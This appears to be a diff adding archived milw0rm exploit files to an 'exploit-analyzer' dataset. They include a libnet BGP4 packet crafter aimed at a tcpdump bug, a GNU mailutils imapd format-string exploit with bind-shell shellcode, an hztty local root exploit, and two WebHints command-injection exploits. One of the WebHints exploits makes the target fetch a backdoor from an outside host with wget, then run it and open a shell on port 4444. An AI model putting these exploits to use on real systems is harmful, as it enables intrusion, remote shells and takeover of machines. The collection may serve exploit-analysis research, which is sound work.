+ * SUCH DAMAGE.
77
+ *
78
+ */
79
+
80
+ /* #if (HAVE_CONFIG_H) */
81
+ /* #include "../include/config.h" */
82
+ /* #endif */
83
+ /* #include "./libnet_test.h" */
84
+ #include <libnet.h>
85
+
86
+ void
87
+ usage(char *name);
88
+
89
+
90
+ #define set_ptr_and_size(ptr, size, val, flag) \
91
+ if (size && !ptr) \
92
+ { \
93
+ ptr = (u_char *)malloc(size); \
94
+ if (!ptr) \
95
+ { \
96
+ printf("memory allocation failed (%u bytes requested)\n", size); \
97
+ goto bad; \
98
+ } \
99
+ memset(ptr, val, size); \
100
+ flag = 1; \
101
+ } \
102
+ \
103
+ if (ptr && !size) \
104
+ { \
105
+ size = strlen(ptr); \
106
+ }
107
+
108
+
109
+
110
+ int
111
+ main(int argc, char *argv[])
112
+ {
113
+ int c;
114
+ libnet_t *l;
115
+ u_long src_ip, dst_ip, length;
116
+ libnet_ptag_t t = 0;
117
+ char errbuf[LIBNET_ERRBUF_SIZE];
118
+ int pp;
119
+ u_char *payload = NULL;
120
+ u_long payload_s = 0;
121
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
122
+
123
+ u_short u_rt_l = 0;
124
+ u_char *withdraw_rt = NULL;
125
+ char flag_w = 0;
126
+ u_short attr_l = 0;
127
+ u_char *attr = NULL;
128
+ char flag_a = 0;
129
+ u_short info_l = 0;
130
+ u_char *info = NULL;
131
+ char flag_i = 0;
132
+
133
+ printf("libnet 1.1 packet shaping: BGP4 update + payload[raw]\n");
134
+
135
+ /*
136
+ * Initialize the library. Root priviledges are required.
137
+ */
138
+ l = libnet_init(
139
+ LIBNET_RAW4, /* injection type */
140
+ NULL, /* network interface */
141
+ errbuf); /* error buffer */
142
+
143
+ if (l == NULL)
144
+ {
145
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
146
+ exit(EXIT_FAILURE);
147
+ }
148
+
149
+ src_ip = 0;
150
+ dst_ip = 0;
151
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
152
+ memset(marker, 0xff, LIBNET_BGP4_MARKER_SIZE);
153
+
154
+ while ((c = getopt(argc, argv, "d:s:t:m:p:w:W:a:A:i:I:")) != EOF)
155
+ {
156
+ switch (c)
157
+ {
158
+ /*
159
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
160
+ * point cp to the last dot of the IP address/port string and
161
+ * then seperate them with a NULL byte. The optarg now points to
162
+ * just the IP address, and cp points to the port.
163
+ */
164
+ case 'd':
165
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
166
+ {
167
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
168
+ exit(EXIT_FAILURE);
169
+ }
170
+ break;
171
+
172
+ case 's':
173
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
174
+ {
175
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
176
+ exit(EXIT_FAILURE);
177
+ }
178
+ break;
179
+
180
+ case 'p':
181
+ payload = optarg;
182
+ payload_s = strlen(payload);
183
+ break;
184
+
185
+ case 'w':
186
+ withdraw_rt = optarg;
187
+ break;
188
+
189
+ case 'W':
190
+ u_rt_l = atoi(optarg);
191
+ break;
192
+
193
+ case 'a':
194
+ attr = optarg;
195
+ break;
196
+
197
+ case 'A':
198
+ attr_l = atoi(optarg);
199
+ break;
200
+
201
+ case 'i':
202
+ info = optarg;
203
+ break;
204
+
205
+ case 'I':
206
+ info_l = atoi(optarg);
207
+ break;
208
+
209
+ default:
210
+ exit(EXIT_FAILURE);
211
+ }
212
+ }
213
+
214
+ if (!src_ip || !dst_ip)
215
+ {
216
+ usage(argv[0]);
217
+ goto bad;
218
+ }
219
+
220
+ set_ptr_and_size(withdraw_rt, u_rt_l, 0x41, flag_w);
221
+ set_ptr_and_size(attr, attr_l, 0x42, flag_a);
222
+ set_ptr_and_size(info, info_l, 0x43, flag_i);
223
+
224
+ /*
225
+ * 2005-05-31: Modified by simon@FreeBSD.org to test tcpdump
226
+ * infinite loop vulnerability.
227
+ */
228
+ if (payload == NULL) {
229
+ if ((payload = malloc(16)) == NULL) {
230
+ fprintf(stderr, "Out of memory\n");
231
+ exit(1);
232
+ }
233
+ pp = 0;
234
+ payload[pp++] = 0;
235
+ payload[pp++] = 33;
236
+ payload_s = pp;
237
+ }
238
+
239
+ /*
240
+ * BGP4 update messages are "dynamic" are fields have variable size. The only
241
+ * sizes we know are those for the 2 first fields ... so we need to count them
242
+ * plus their value.
243
+ */
244
+ length = LIBNET_BGP4_UPDATE_H + u_rt_l + attr_l + info_l + payload_s;
245
+ t = libnet_build_bgp4_update(
246
+ u_rt_l, /* Unfeasible Routes Length */
247
+ withdraw_rt, /* Withdrawn Routes */
248
+ attr_l, /* Total Path Attribute Length */
249
+ attr, /* Path Attributes */
250
+ info_l, /* Network Layer Reachability Information length */
251
+ info, /* Network Layer Reachability Information */
252
+ payload, /* payload */
253
+ payload_s, /* payload size */
254
+ l, /* libnet handle */
255
+ 0); /* libnet id */
256
+ if (t == -1)
257
+ {
258
+ fprintf(stderr, "Can't build BGP4 update header: %s\n", libnet_geterror(l));
259
+ goto bad;
260
+ }
261
+
262
+ length+=LIBNET_BGP4_HEADER_H;
263
+ t = libnet_build_bgp4_header(
264
+ marker, /* marker */
265
+ length, /* length */
266
+ LIBNET_BGP4_UPDATE, /* message type */
267
+ NULL, /* payload */
268
+ 0, /* payload size */
269
+ l, /* libnet handle */
270
+ 0); /* libnet id */
271
+ if (t == -1)
272
+ {
273
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
274
+ goto bad;
275
+ }
276
+
277
+ length+=LIBNET_TCP_H;
278
+ t = libnet_build_tcp(
279
+ 0x6666, /* source port */
280
+ 179, /* destination port */
281
+ 0x01010101, /* sequence number */
282
+ 0x02020202, /* acknowledgement num */
283
+ TH_SYN, /* control flags */
284
+ 32767, /* window size */
285
+ 0, /* checksum */
286
+ 0, /* urgent pointer */
287
+ length, /* TCP packet size */
288
+ NULL, /* payload */
289
+ 0, /* payload size */
290
+ l, /* libnet handle */
291
+ 0); /* libnet id */
292
+ if (t == -1)
293
+ {
294
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
295
+ goto bad;
296
+ }
297
+
298
+ length+=LIBNET_IPV4_H;
299
+ t = libnet_build_ipv4(
300
+ length, /* length */
301
+ 0, /* TOS */
302
+ 242, /* IP ID */
303
+ 0, /* IP Frag */
304
+ 64, /* TTL */
305
+ IPPROTO_TCP, /* protocol */
306
+ 0, /* checksum */
307
+ src_ip, /* source IP */
308
+ dst_ip, /* destination IP */
309
+ NULL, /* payload */
310
+ 0, /* payload size */
311
+ l, /* libnet handle */
312
+ 0); /* libnet id */
313
+ if (t == -1)
314
+ {
315
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
316
+ goto bad;
317
+ }
318
+
319
+ /*
320
+ * Write it to the wire.
321
+ */
322
+ c = libnet_write(l);
323
+ if (c == -1)
324
+ {
325
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
326
+ goto bad;
327
+ }
328
+ else
329
+ {
330
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
331
+ }
332
+
333
+ if (flag_w) free(withdraw_rt);
334
+ if (flag_a) free(attr);
335
+ if (flag_i) free(info);
336
+
337
+ libnet_destroy(l);
338
+ return (EXIT_SUCCESS);
339
+ bad:
340
+ if (flag_w) free(withdraw_rt);
341
+ if (flag_a) free(attr);
342
+ if (flag_i) free(info);
343
+
344
+ libnet_destroy(l);
345
+ return (EXIT_FAILURE);
346
+ }
347
+
348
+ void
349
+ usage(char *name)
350
+ {
351
+ fprintf(stderr,
352
+ "usage: %s -s source_ip -d destination_ip \n"
353
+ " [-m marker] [-p payload] [-S payload size]\n"
354
+ " [-w Withdrawn Routes] [-W Unfeasible Routes Length]\n"
355
+ " [-a Path Attributes] [-A Attribute Length]\n"
356
+ " [-i Reachability Information] [-I Reachability Information length]\n",
357
+ name);
358
+ }
359
+
360
+ // milw0rm.com [2005-06-09]
exploit-analyzer/exploits/exploit_1038.txt ADDED
@@ -0,0 +1,297 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ gun-imapd.c
3
+ """""""""""
4
+
5
+ gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit
6
+
7
+ written and tested on FC3.
8
+ this is a first testing version and the onlyone to go public.
9
+
10
+
11
+ by
12
+ qobaiashi@u-n-f.com
13
+
14
+ */
15
+
16
+
17
+
18
+
19
+ #include <stdio.h>
20
+ #include <string.h>
21
+ #include <unistd.h>
22
+ #include <stdlib.h>
23
+ #include <sys/types.h>
24
+ #include <sys/socket.h>
25
+ #include <netinet/in.h>
26
+ #include <arpa/inet.h>
27
+ #include <netdb.h>
28
+ #include <sys/types.h>
29
+ #include <sys/stat.h>
30
+ #include <fcntl.h>
31
+
32
+ // to be modified
33
+ #define GOT 0x080573fc
34
+
35
+ static char bindshell[]= //by pr1 bind to :4096
36
+ "\x31\xc0" // xor %eax,%eax
37
+ "\x50" // push %eax
38
+ "\x40" // inc %eax
39
+ "\x89\xc3" // mov %eax,%ebx
40
+ "\x40" // inc %eax
41
+ "\x53" // push %ebx
42
+ "\x50" // push %eax
43
+ "\x89\xe1" // mov %esp,%ecx
44
+ "\xb0\x66" // mov $0x66,%al
45
+ "\xcd\x80" // int $0x80
46
+ "\x31\xd2" // xor %edx,%edx
47
+ "\x52" // push %edx
48
+ "\x43" // inc %ebx
49
+ "\x6a\x10" // push $0x10
50
+ "\x66\x53" // push %bx
51
+ "\x89\xe1" // mov %esp,%ecx
52
+ "\x6a\x10" // push $0x10
53
+ "\x51" // push %ecx
54
+ "\x50" // push %eax
55
+ "\x89\xe1" // mov %esp,%ecx
56
+ "\xb0\x66" // mov $0x66,%al
57
+ "\xcd\x80" // int $0x80
58
+ "\xd1\xe3" // shl %ebx
59
+ "\xb0\x66" // mov $0x66,%al
60
+ "\xcd\x80" // int $0x80
61
+ "\x58" // pop %eax
62
+ "\x52" // push %edx
63
+ "\x50" // push %eax
64
+ "\x43" // inc %ebx
65
+ "\x89\xe1" // mov %esp,%ecx
66
+ "\xb0\x66" // mov $0x66,%al
67
+ "\xcd\x80" // int $0x80
68
+ "\x87\xd9" // xchg %ebx,%ecx
69
+ "\x93" // xchg %eax,%ebx
70
+ "\x49" // dec %ecx
71
+ "\x31\xc0" // xor %eax,%eax
72
+ "\x49" // dec %ecx
73
+ "\xb0\x3f" // mov $0x3f,%al
74
+ "\xcd\x80" // int $0x80
75
+ "\x41" // inc %ecx
76
+ "\xe2\xf8" // loop 8048469 <blah>
77
+ "\x52" // push %edx
78
+ "\x68\x6e\x2f\x73\x68" // push $0x68732f6e
79
+ "\x68\x2f\x2f\x62\x69" // push $0x69622f2f
80
+ "\x89\xe3" // mov %esp,%ebx
81
+ "\x52" // push %edx
82
+ "\x53" // push %ebx
83
+ "\x89\xe1" // mov %esp,%ecx
84
+ "\xb0\x0b" // mov $0xb,%al
85
+ "\xcd\x80" // int $0x80
86
+ ;
87
+
88
+
89
+ /********************************\
90
+ |****** handle remoteshell ******|
91
+ \********************************/
92
+
93
+ int handleshell(int peersh)
94
+ {
95
+ fd_set fds;
96
+ char buff[2048];
97
+ int ret, cntr = 1;
98
+
99
+ printf(" |- enjoy your stay and come back soon ;>\n");
100
+
101
+ write(peersh, "unset HISTFILE;id;uname -a;\n", 30);
102
+
103
+ while(ret && cntr)
104
+ {
105
+ FD_ZERO(&fds);
106
+ FD_SET(0, &fds);
107
+ FD_SET(peersh, &fds);
108
+ ret = select(peersh+1, &fds, 0, 0, 0);
109
+ if(ret)
110
+ {
111
+ memset(buff, 0x0, sizeof(buff));
112
+ if(FD_ISSET(peersh, &fds))
113
+ {
114
+ cntr = read(peersh, buff, sizeof(buff)-1);
115
+ printf("%s", buff);
116
+ fflush(stdout);
117
+ }
118
+ if(FD_ISSET(0, &fds))
119
+ {
120
+ cntr = read(0, buff, sizeof(buff)-1);
121
+ write(peersh, buff, strlen(buff));
122
+ }
123
+ }
124
+ }
125
+ return 1;
126
+ }
127
+
128
+
129
+
130
+
131
+
132
+ /********************************\
133
+ |********* HELP OUTPUT **********|
134
+ \********************************/
135
+
136
+ void help()
137
+ {
138
+
139
+ printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n");
140
+ exit(0);
141
+ }
142
+
143
+
144
+
145
+ /********************************\
146
+ |******* CONNECT FUNC **********|
147
+ \********************************/
148
+
149
+
150
+ int connectme(char* ip, unsigned short port)
151
+ {
152
+ int soquet;
153
+ struct sockaddr_in remoteaddr_in;
154
+ struct hostent* hostip;
155
+
156
+ memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
157
+ if ((hostip = gethostbyname(ip)) == NULL)
158
+ {
159
+ printf(" |- could not resolve [%s]\n", ip);
160
+ exit(-1);
161
+ }
162
+
163
+ remoteaddr_in.sin_family = AF_INET;
164
+ remoteaddr_in.sin_port = htons(port);
165
+ remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr);
166
+
167
+ if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0)
168
+ {
169
+ printf(" |- got no socket!\n");
170
+ exit(-1);
171
+ }
172
+
173
+ printf(" |- try connecting to [%s:%d] ...", ip, port);
174
+
175
+ if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct sockaddr)) == -1)
176
+ {
177
+ printf(" no connection, exiting!\n");
178
+ exit(-1);
179
+ }
180
+
181
+ printf(" successfull!\n");
182
+ return(soquet);
183
+ }
184
+
185
+
186
+ /********************************\
187
+ |********* DO SPLOIT ************|
188
+ \********************************/
189
+
190
+ int do_sploit(int soquet)
191
+ {
192
+ char buff[1024], *addr = 0;
193
+ int cntr = 0, *ptr, scaddr, gotaddr = GOT;
194
+ unsigned int w1, w2 ,w3;
195
+
196
+ //find heap with our shellcode: !experimental!
197
+ memset(buff, 0x00, sizeof(buff));
198
+ memset(buff, 0x41, 496);
199
+ strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");
200
+
201
+ if(write(soquet, buff, strlen(buff)) == -1)
202
+ {
203
+ printf(" |- could not send packet!\n");
204
+ return -1;
205
+ }
206
+ memset(buff, 0x00, sizeof(buff));
207
+ read(soquet, buff, sizeof(buff)-1);
208
+ addr = strstr(buff, "[");
209
+ if(addr > 0)
210
+ {
211
+ scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
212
+ printf(" |- using %p\n", scaddr);
213
+ }
214
+ else printf(" |- !could not determine heap address..\n!");
215
+ //k build exploit now:
216
+
217
+ w3 = ( scaddr & 0xffff0000 ) >> 16;
218
+ w1 = ( scaddr & 0x0000ffff );
219
+
220
+
221
+ memset(buff, 0x00, sizeof(buff));
222
+ memset(buff, 0x41, 496);
223
+ memcpy(buff+400, bindshell, strlen(bindshell));
224
+ cntr = strlen(buff) + 3*4;
225
+
226
+
227
+ ptr = (int *)gotaddr;
228
+ memcpy((buff+496), &ptr,4);
229
+ ptr = (int *)gotaddr;
230
+ memcpy((buff+500), &ptr,4);
231
+ ptr = (int *)(gotaddr+2);
232
+ memcpy((buff+504), &ptr,4);
233
+ w1 -= cntr;
234
+ w3 += (0x10000 - w1) - cntr;
235
+ sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);
236
+
237
+ if(write(soquet, buff, strlen(buff)) == -1)
238
+ {
239
+ printf(" |- could not send packet!\n");
240
+ return -1;
241
+ }
242
+ //memset(buff, 0x00, sizeof(buff));
243
+ //read(soquet, buff, sizeof(buff));
244
+
245
+
246
+ return 1;
247
+ }
248
+
249
+ /********************************\
250
+ |************* MAIN *************|
251
+ \********************************/
252
+
253
+ int main(int argc, char *argv[])
254
+ {
255
+ int tmp, socke, port = 143;
256
+ char *target = 0;
257
+ char banner[32];
258
+
259
+ printf(" . gun-imapd v0.1 by qobaiashi\n |\n");
260
+ memset(banner, 0x00, sizeof(banner));
261
+
262
+ while((tmp = getopt(argc, argv, "p:t:h")) != EOF)
263
+ {
264
+ switch (tmp)
265
+ {
266
+ case 'p':
267
+ port = atoi(optarg);
268
+ printf(" |- using port: %d\n", port);
269
+ break;
270
+
271
+ case 't':
272
+ target = optarg;
273
+ printf(" |- target host is: %s\n", optarg);
274
+ break;
275
+
276
+ case 'h': help();
277
+ }
278
+
279
+ }
280
+ if (target == NULL) help();
281
+ socke = connectme(target, port);
282
+
283
+ if (read(socke, banner, sizeof(banner)) > -1)
284
+ {
285
+ printf(" |- remote host is a %s", (banner+4));
286
+ }
287
+
288
+ do_sploit(socke);
289
+ sleep(1);
290
+ tmp = connectme(target, 4096);
291
+ handleshell(tmp);
292
+
293
+ close(tmp);
294
+ close(socke);
295
+ }
296
+
297
+ // milw0rm.com [2005-06-10]
exploit-analyzer/exploits/exploit_1039.txt ADDED
@@ -0,0 +1,72 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # This exploit uses a backdoor that isn't located on this server.
2
+ # $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";
3
+ # change for your own needs. /str0ke
4
+
5
+ #!/usr/bin/perl
6
+ ######################################################################################
7
+ # T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m #
8
+ ######################################################################################
9
+ # EXPLOIT FOR: WebHints Remote C0mmand Execution Vuln #
10
+ # #
11
+ #Expl0it By: A l p h a _ P r o g r a m m e r (Sirus-v) #
12
+ #Email: Alpha_Programmer@Yahoo.Com #
13
+ # #
14
+ #This Xpl Run a backdo0r in Server With 4444 Port. #
15
+ #Advisory: http://www.securityfocus.com/archive/1/401940/30/0/threaded #
16
+ ######################################################################################
17
+ # GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke #
18
+ #And Iranian Security & Technical Sites: #
19
+ # #
20
+ # TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG #
21
+ # Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT #
22
+ ######################################################################################
23
+
24
+ use IO::Socket;
25
+
26
+ if (@ARGV < 2)
27
+ {
28
+ print "\n==============================================\n";
29
+ print " \n WebHints Exploit By Alpha_Programmer \n\n";
30
+ print " Trap-Set Underground Hacking Team \n\n";
31
+ print " Usage: <T4rg3t> <Dir> \n\n";
32
+ print "==============================================\n\n";
33
+ print "Examples:\n\n";
34
+ print " Webhints.pl www.Host.com /cgi-bin/ \n";
35
+ exit();
36
+ }
37
+
38
+
39
+ $serv = $ARGV[0];
40
+ $serv =~ s/http:\/\///ge;
41
+
42
+ $dir = $ARGV[1];
43
+
44
+ $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";
45
+ $cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 alpha.pl;perl alpha.pl";
46
+
47
+ $req = "GET $dir";
48
+ $req .= "hints.pl?|$cmde| HTTP/1.0\n\n\n\n";
49
+
50
+ $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";
51
+
52
+ print $sock $req;
53
+ print "\nPlease Wait ...\n\n";
54
+ sleep(3000);
55
+ close($sock);
56
+
57
+ $sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";
58
+
59
+
60
+ $req2 = "GET $dir";
61
+ $req2 .= "hints.pl?|$cmde2| HTTP/1.0\n\n\n\n";
62
+
63
+ print $sock2 $req2;
64
+
65
+ sleep(100);
66
+
67
+ print "\n\n$$$ OK -- Now Try: Nc -v www.Site.com 4444 $$$\n";
68
+ print "$$ if This Port was Close , This mean is That , You Haven't Permission to Write in /TMP $$\n";
69
+ print "Enjoy ;)";
70
+ ### EOF ###
71
+
72
+ # milw0rm.com [2005-06-11]
exploit-analyzer/exploits/exploit_104.txt ADDED
@@ -0,0 +1,60 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /* 0x333hztty => hztty 2.0 local root exploit
2
+ *
3
+ *
4
+ * more info : Debian Security Advisory DSA 385-1
5
+ *
6
+ * *note* I adjusted some part of hztty's code since
7
+ * there were some errors. hope this will not influence
8
+ * exploitation :> tested against Red Hat 9.0 :
9
+ *
10
+ * [c0wboy@0x333 c0wboy]$ gcc 0x333hztty.c -o k
11
+ * [c0wboy@0x333 c0wboy]$ ./k
12
+ *
13
+ * --- local root exploit for hztty 2.0 ---
14
+ * --- coded by c0wboy ~ 0x33 ---
15
+ *
16
+ * sh-2.05b# [./hztty started] [using /dev/ttyp6]
17
+ * sh-2.05b$ sh-2.05b# uid=0(root) gid=0(root) groups=500(c0wboy)
18
+ * sh-2.05b#
19
+ *
20
+ * coded by c0wboy
21
+ *
22
+ * (c) 0x333 Outsiders Security Labs
23
+ *
24
+ */
25
+
26
+ #include <stdio.h>
27
+ #include <unistd.h>
28
+
29
+ #define BIN "./hztty"
30
+ #define SIZE 272
31
+
32
+
33
+ unsigned char shellcode[] =
34
+ "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8"
35
+ "\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
36
+ "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
37
+ "\xd2\xb0\x0b\xcd\x80" ;
38
+
39
+ int main()
40
+ {
41
+ int i;
42
+ char out[SIZE];
43
+ char *own[] = { shellcode, 0x0 };
44
+
45
+ int *hztty = (int *)(out);
46
+ int ret = 0xbffffffa - strlen(BIN) - strlen(shellcode);
47
+
48
+ for (i=0 ; i<SIZE-1 ; i+=4)
49
+ *hztty++ = ret;
50
+
51
+ hztty = 0x0;
52
+
53
+ fprintf (stdout, "\n --- local root exploit for hztty 2.0 ---\n");
54
+ fprintf (stdout, " --- coded by c0wboy ~ www.0x333.org ---\n\n");
55
+
56
+ execle (BIN, BIN, "-I", out, 0x0, own, 0x0);
57
+ }
58
+
59
+
60
+ // milw0rm.com [2003-09-21]
exploit-analyzer/exploits/exploit_1040.txt ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ **************************************************************************************
3
+ * T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
4
+ **************************************************************************************
5
+ EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
6
+
7
+ Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
8
+ E-Mail: Alpha_Programmer@Yahoo.Com
9
+
10
+ This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
11
+
12
+ **************************************************************************************
13
+ * GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
14
+ *And Iranian Security & Technical Sites: *
15
+ * *
16
+ * TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
17
+ * Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
18
+ **************************************************************************************
19
+ */
20
+ #include <string.h>
21
+ #include <stdlib.h>
22
+ #include <stdio.h>
23
+ #pragma comment(lib, "ws2_32.lib")
24
+ #include <winsock2.h>
25
+
26
+
27
+ #define MY_PORT 80
28
+ #define BUF_LEN 256
29
+ /**************************************************************************************/
30
+ int main(int arg_c, char *arg_v[])
31
+ {
32
+ static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];
33
+
34
+ struct sockaddr_in their_adr;
35
+ char buf[BUF_LEN];
36
+ struct hostent *he;
37
+ int sock, i;
38
+ WSADATA wsdata;
39
+
40
+ /* Winsock start up */
41
+ WSAStartup(0x0101, &wsdata);
42
+ atexit((void (*)(void))WSACleanup);
43
+
44
+ if(arg_c != 3)
45
+ {
46
+ printf("=========================================================\n");
47
+ printf(" Webhints Exploit By Alpha_Programmer\n");
48
+ printf(" Trap-set Underground Hacking Team\n");
49
+ printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");
50
+ printf("=========================================================\n");
51
+ return 1;
52
+ }
53
+ /* create socket */
54
+ printf("calling socket()...\n");
55
+ sock = socket(AF_INET, SOCK_STREAM, 0);
56
+
57
+ /* get IP address of other end */
58
+ printf("calling gethostbyname()...\n");
59
+ he = gethostbyname(arg_v[1]);
60
+ if(he == NULL)
61
+ {
62
+ printf("can't get IP address of host '%s'\n", arg_v[1]);
63
+ return 1;
64
+ }
65
+ memset(&their_adr, 0, sizeof(their_adr));
66
+ their_adr.sin_family = AF_INET;
67
+ memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
68
+ their_adr.sin_port = htons(MY_PORT);
69
+ /* connect */
70
+ printf("C0nnecting...\n");
71
+ i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
72
+ if(i != 0)
73
+ {
74
+ printf("C0nnect() returned %d, errno=%d\n", i, errno);
75
+ return 1;
76
+ }
77
+ /* send H3ll C0mmand */
78
+ printf("Sending H3ll Packets...\n");
79
+ i = send(sock, cmd, sizeof(cmd), 0);
80
+ if(i != sizeof(cmd))
81
+ {
82
+ printf("Send. returned %d, errno=%d\n", i, errno);
83
+ return 1;
84
+ }\n
85
+ printf("OK ... Now You Can Test your file in hints.pl Directory\n"):
86
+
87
+ closesocket(sock);
88
+ return 0;
89
+ }
90
+
91
+ // milw0rm.com [2005-06-11]